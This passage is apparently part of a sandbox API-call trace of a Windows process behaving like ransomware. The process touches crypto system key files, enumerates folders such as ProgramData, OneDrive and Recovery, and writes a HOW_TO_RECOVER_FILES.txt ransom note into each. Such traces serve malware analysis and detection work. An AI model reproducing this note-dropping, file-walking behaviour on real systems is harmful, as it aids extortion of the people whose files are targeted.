"c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.023] GetFileType (hFile=0x7b4) returned 0x1 [0109.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fada0) returned 1 [0109.023] GetFileType (hFile=0x7b4) returned 0x1 [0109.023] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x10fafd8 | out: lpFileSizeHigh=0x10fafd8*=0x0) returned 0x61d [0109.023] ReadFile (in: hFile=0x7b4, lpBuffer=0x32e0198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10faf08, lpOverlapped=0x0 | out: lpBuffer=0x32e0198*, lpNumberOfBytesRead=0x10faf08*=0x61d, lpOverlapped=0x0) returned 1 [0109.023] CloseHandle (hObject=0x7b4) returned 1 [0109.831] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x70 [0109.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0109.832] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7820) returned 1 [0109.834] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0109.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0109.835] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0109.835] GetFileType (hFile=0x20c) returned 0x1 [0109.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0109.835] GetFileType (hFile=0x20c) returned 0x1 [0109.836] WriteFile (in: hFile=0x20c, lpBuffer=0x3389750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3389750*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0109.838] CloseHandle (hObject=0x20c) returned 1 [0109.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0109.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0109.838] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0109.841] GetFileType (hFile=0x20c) returned 0x1 [0109.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0109.841] GetFileType (hFile=0x20c) returned 0x1 [0109.842] WriteFile (in: hFile=0x20c, lpBuffer=0x338d1b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x338d1b0*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0109.843] CloseHandle (hObject=0x20c) returned 1 [0110.397] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x129daf0*=0x190, lpdwindex=0x10fbf54 | out: lpdwindex=0x10fbf54) returned 0x0 [0129.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0129.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0129.882] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.882] GetFileType (hFile=0x6e4) returned 0x1 [0129.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0129.882] GetFileType (hFile=0x6e4) returned 0x1 [0129.883] WriteFile (in: hFile=0x6e4, lpBuffer=0x35d3e10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x35d3e10*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0129.884] CloseHandle (hObject=0x6e4) returned 1 [0129.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0129.884] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive", lpFilePart=0x0) returned 0x21 [0129.884] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.885] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.885] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0129.885] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0129.885] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0129.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0129.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0129.885] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive", lpFilePart=0x0) returned 0x21 [0129.886] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.886] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.886] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0129.886] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.886] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0129.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0129.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0129.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x27 [0129.887] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.887] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.887] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0129.887] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.887] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0129.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0129.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0129.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x27 [0129.887] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.888] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.888] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0129.888] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0129.888] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0129.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0129.888] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0129.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0129.888] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.889] GetFileType (hFile=0x6e4) returned 0x1 [0129.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0129.889] GetFileType (hFile=0x6e4) returned 0x1 [0129.890] WriteFile (in: hFile=0x6e4, lpBuffer=0x35f29e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x35f29e8*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0129.891] CloseHandle (hObject=0x6e4) returned 1 [0129.891] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0129.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0129.891] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft onedrive\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.891] GetFileType (hFile=0x6e4) returned 0x1 [0129.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0129.891] GetFileType (hFile=0x6e4) returned 0x1 [0129.892] WriteFile (in: hFile=0x6e4, lpBuffer=0x35f6220*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x35f6220*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0129.893] CloseHandle (hObject=0x6e4) returned 1 [0129.893] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x27 [0129.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0129.893] CreateFileW (lpFileName="C:\\ProgramData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.894] GetFileType (hFile=0x6e4) returned 0x1 [0129.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0129.894] GetFileType (hFile=0x6e4) returned 0x1 [0129.895] WriteFile (in: hFile=0x6e4, lpBuffer=0x35f99c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x35f99c0*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0129.895] CloseHandle (hObject=0x6e4) returned 1 [0129.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0129.896] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0129.896] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.897] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.897] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0129.897] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1 [0129.897] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.897] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0129.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0129.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0129.898] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0129.898] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.898] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.898] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0129.898] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, 